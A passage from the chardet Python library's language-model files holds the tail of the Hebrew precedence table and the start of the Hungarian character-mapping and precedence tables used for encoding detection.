1,2,1,2,1,2,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2, 1,2,1,3,1,1,0,0,2,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,1,2,2,1,3, 1,2,1,1,2,2,0,0,2,2,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,2,2,2,3,2, 1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,2,3,2,2,3,2,2,2,1,2,2,2,2, 1,2,1,1,2,2,0,1,2,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,0,2,2,2,2,2, 0,2,0,2,2,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,0,2,2,2, 0,2,1,2,2,2,0,0,2,1,0,0,0,0,1,0,1,0,0,0,0,0,0,2,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,2,1,2,3,2,2,2, 1,2,1,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0, 3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,1,0,2,0,2, 0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,2,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,2,3,2,2,3,2,1,2,1,1,1, 0,1,1,1,1,1,3,0,1,0,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0, 0,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2, 0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,2,3,3,3,2,1,2,3,3,2,3,3,3,3,2,3,2,1,2,0,2,1,2, 0,2,0,2,2,2,0,0,1,2,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0, 3,3,3,3,3,3,3,3,3,2,3,3,3,1,2,2,3,3,2,3,2,3,2,2,3,1,2,2,0,2,2,2, 0,2,1,2,2,2,0,0,1,2,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,2,2,3,3,3,3,1,3,2,2,2, 0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,2,3,2,2,2,1,2,2,0,2,2,2,2, 0,2,0,2,2,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,1,3,2,3,3,2,3,3,2,2,1,2,2,2,2,2,2, 0,2,1,2,1,2,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,2,3,2,3,3,2,3,3,3,3,2,3,2,3,3,3,3,3,2,2,2,2,2,2,2,1, 0,2,0,1,2,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,2,1,2,3,3,3,3,3,3,3,2,3,2,3,2,1,2,3,0,2,1,2,2, 0,2,1,1,2,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,2,0, 3,3,3,3,3,3,3,3,3,2,3,3,3,3,2,1,3,1,2,2,2,1,2,3,3,1,2,1,2,2,2,2, 0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,0,2,3,3,3,1,3,3,3,1,2,2,2,2,1,1,2,2,2,2,2,2, 0,2,0,1,1,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,2,3,3,3,2,2,3,3,3,2,1,2,3,2,3,2,2,2,2,1,2,1,1,1,2,2, 0,2,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0, 1,0,1,0,0,0,0,0,2,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,2,3,3,2,3,1,2,2,2,2,3,2,3,1,1,2,2,1,2,2,1,1,0,2,2,2,2, 0,1,0,1,2,2,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0, 3,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,2,2,0, 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,1,0,1,0,1,1,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 3,2,2,1,2,2,2,2,2,2,2,1,2,2,1,2,2,1,1,1,1,1,1,1,1,2,1,1,0,3,3,3, 0,3,0,2,2,2,2,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 2,2,2,3,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,2,1,2,2,2,1,1,1,2,0,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,2,2,2,2,2,2,0,2,2,0,0,0,0,0,0, 0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,1,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,1,2,1,0,2,1,0, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 0,3,1,1,2,2,2,2,2,1,2,2,2,1,1,2,2,2,2,2,2,2,1,2,2,1,0,1,1,1,1,0, 0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,2,1,1,1,1,2,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, 0,0,2,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0, 2,1,1,2,2,2,2,2,2,2,2,2,2,2,1,2,2,2,2,2,1,2,1,2,1,1,1,1,0,0,0,0, 0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,2,1,2,2,2,2,2,2,2,2,2,2,1,2,1,2,1,1,2,1,1,1,2,1,2,1,2,0,1,0,1, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,3,1,2,2,2,1,2,2,2,2,2,2,2,2,1,2,1,1,1,1,1,1,2,1,2,1,1,0,1,0,1, 0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,1,2,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,2,2, 0,2,0,1,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,2,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0, 0,1,1,1,2,1,2,2,2,0,2,0,2,0,1,1,2,1,1,1,1,2,1,0,1,1,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,1,0,0,0,0,0,1,0,1,2,2,0,1,0,0,1,1,2,2,1,2,0,2,0,0,0,1,2,0,1, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,2,0,2,1,2,0,2,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,1, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,1,2,2,0,0,1,0,0,0,1,0,0,1, 1,1,2,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,2,2,1, 0,2,0,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,1,0,0,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,1,1,1,1,1,1,1,2,1,0,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,1,0,1, 2,0,1,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,1,2,1,1,2,0,1,0,0,0,1,1,0,1, 1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,0,0,2,1,1,2,0,2,0,0,0,1,1,0,1, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,2,2,1,2,1,1,0,1,0,0,0,1,1,0,1, 2,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,2,2,0,0,0,0,2,1,1,1,0,2,1,1,0,0,0,2,1,0,1, 1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,0,2,1,1,0,1,0,0,0,1,1,0,1, 2,2,1,1,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,2,1,1,0,1,0,0,1,1,0,1,2,1,0,2,0,0,0,1,1,0,1, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0, 0,1,0,0,2,0,2,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,1,0,1,1,2,0,1,0,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,1, 1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,2,1,1,1,1,1,0,1,0,0,0,0,1,0,1, 0,1,1,1,2,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,1,2,1,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0, ) Win1255HebrewModel = { 'char_to_order_map': WIN1255_CHAR_TO_ORDER_MAP, 'precedence_matrix': HEBREW_LANG_MODEL, 'typical_positive_ratio': 0.984004, 'keep_english_letter': False, 'charset_name': "windows-1255", 'language': 'Hebrew', } ================================================ FILE: thirdparty/chardet/langhungarianmodel.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: Latin2_HungarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, 46, 71, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, 253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, 159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174, 175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197, 75,198,199,200,201,202,203,204,205, 79,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, 221, 51, 81,222, 78,223,224,225,226, 44,227,228,229, 61,230,231, 232,233,234, 58,235, 66, 59,236,237,238, 60, 69, 63,239,240,241, 82, 14, 74,242, 70, 80,243, 72,244, 15, 83, 77, 84, 30, 76, 85, 245,246,247, 25, 73, 42, 24,248,249,250, 31, 56, 29,251,252,253, ) win1250HungarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, 46, 72, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, 253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, 161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176, 177,178,179,180, 78,181, 69,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197, 76,198,199,200,201,202,203,204,205, 81,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, 221, 51, 83,222, 80,223,224,225,226, 44,227,228,229, 61,230,231, 232,233,234, 58,235, 66, 59,236,237,238, 60, 70, 63,239,240,241, 84, 14, 75,242, 71, 82,243, 73,244, 15, 85, 79, 86, 30, 77, 87, 245,246,247, 25, 74, 42, 24,248,249,250, 31, 56, 29,251,252,253, ) # Model Table: # total sequences: 100% # first 512 sequences: 94.7368% # first 1024 sequences:5.2623% # rest sequences: 0.8894% # negative sequences: 0.0009% HungarianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, 3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,2,3,3,1,1,2,2,2,2,2,1,2, 3,2,2,3,3,3,3,3,2,3,3,3,3,3,3,1,2,3,3,3,3,2,3,3,1,1,3,3,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0, 3,2,1,3,3,3,3,3,2,3,3,3,3,3,1,1,2,3,3,3,3,3,3,3,1,1,3,2,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,1,1,2,3,3,3,1,3,3,3,3,3,1,3,3,2,2,0,3,2,3, 0,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,3,3,2,3,3,2,2,3,2,3,2,0,3,2,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, 3,3,3,3,3,3,2,3,3,3,3,3,2,3,3,3,1,2,3,2,2,3,1,2,3,3,2,2,0,3,3,3, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,3,2,3,3,3,3,2,3,3,3,3,0,2,3,2, 0,0,0,1,1,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,3,3,3,1,1,1,3,3,2,1,3,2,2,3,2,1,3,2,2,1,0,3,3,1, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,2,2,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,3,2,2,3,1,1,3,2,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,1,3,3,3,3,3,2,2,1,3,3,3,0,1,1,2, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,3,2,3,3,2,3,3,3,2,0,3,2,3, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,1,0, 3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,1,3,2,2,2,3,1,1,3,3,1,1,0,3,3,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,2,3,3,3,2,3,2,3,3,3,2,3,3,3,3,3,1,2,3,2,2,0,2,2,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,2,2,2,3,1,3,3,2,2,1,3,3,3,1,1,3,1,2,3,2,3,2,2,2,1,0,2,2,2, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, 3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,2,1,3,3,3,2,2,3,2,1,0,3,2,0,1,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,3,3,3,3,3,1,2,3,3,3,3,1,1,0,3,3,3,3,0,2,3,0,0,2,1,0,1,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,2,2,3,3,2,2,2,2,3,3,0,1,2,3,2,3,2,2,3,2,1,2,0,2,2,2, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0, 3,3,3,3,3,3,1,2,3,3,3,2,1,2,3,3,2,2,2,3,2,3,3,1,3,3,1,1,0,2,3,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,1,2,2,2,2,3,3,3,1,1,1,3,3,1,1,3,1,1,3,2,1,2,3,1,1,0,2,2,2, 0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,2,1,2,1,1,3,3,1,1,1,1,3,3,1,1,2,2,1,2,1,1,2,2,1,1,0,2,2,1, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,1,1,2,1,1,3,3,1,0,1,1,3,3,2,0,1,1,2,3,1,0,2,2,1,0,0,1,3,2, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,2,1,3,3,3,3,3,1,2,3,2,3,3,2,1,1,3,2,3,2,1,2,2,0,1,2,1,0,0,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,2,2,2,2,3,1,2,2,1,1,3,3,0,3,2,1,2,3,2,1,3,3,1,1,0,2,1,3, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,3,3,2,2,2,3,2,3,3,3,2,1,1,3,3,1,1,1,2,2,3,2,3,2,2,2,1,0,2,2,1, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 1,0,0,3,3,3,3,3,0,0,3,3,2,3,0,0,0,2,3,3,1,0,1,2,0,0,1,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,2,3,3,3,3,3,1,2,3,3,2,2,1,1,0,3,3,2,2,1,2,2,1,0,2,2,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,2,2,1,3,1,2,3,3,2,2,1,1,2,2,1,1,1,1,3,2,1,1,1,1,2,1,0,1,2,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0, 2,3,3,1,1,1,1,1,3,3,3,0,1,1,3,3,1,1,1,1,1,2,2,0,3,1,1,2,0,2,1,1, 0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0, 3,1,0,1,2,1,2,2,0,1,2,3,1,2,0,0,0,2,1,1,1,1,1,2,0,0,1,1,0,0,0,0, 1,2,1,2,2,2,1,2,1,2,0,2,0,2,2,1,1,2,1,1,2,1,1,1,0,1,0,0,0,1,1,0, 1,1,1,2,3,2,3,3,0,1,2,2,3,1,0,1,0,2,1,2,2,0,1,1,0,0,1,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,3,3,2,2,1,0,0,3,2,3,2,0,0,0,1,1,3,0,0,1,1,0,0,2,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,2,2,3,3,1,0,1,3,2,3,1,1,1,0,1,1,1,1,1,3,1,0,0,2,2,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,1,1,2,2,2,1,0,1,2,3,3,2,0,0,0,2,1,1,1,2,1,1,1,0,1,1,1,0,0,0, 1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,2,1,1,1,1,1,1,0,1,1,1,0,0,1,1, 3,2,2,1,0,0,1,1,2,2,0,3,0,1,2,1,1,0,0,1,1,1,0,1,1,1,1,0,2,1,1,1, 2,2,1,1,1,2,1,2,1,1,1,1,1,1,1,2,1,1,1,2,3,1,1,1,1,1,1,1,1,1,0,1, 2,3,3,0,1,0,0,0,3,3,1,0,0,1,2,2,1,0,0,0,0,2,0,0,1,1,1,0,2,1,1,1, 2,1,1,1,1,1,1,2,1,1,0,1,1,0,1,1,1,0,1,2,1,1,0,1,1,1,1,1,1,1,0,1, 2,3,3,0,1,0,0,0,2,2,0,0,0,0,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,1,0, 2,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, 3,2,2,0,1,0,1,0,2,3,2,0,0,1,2,2,1,0,0,1,1,1,0,0,2,1,0,1,2,2,1,1, 2,1,1,1,1,1,1,2,1,1,1,1,1,1,0,2,1,0,1,1,0,1,1,1,0,1,1,2,1,1,0,1, 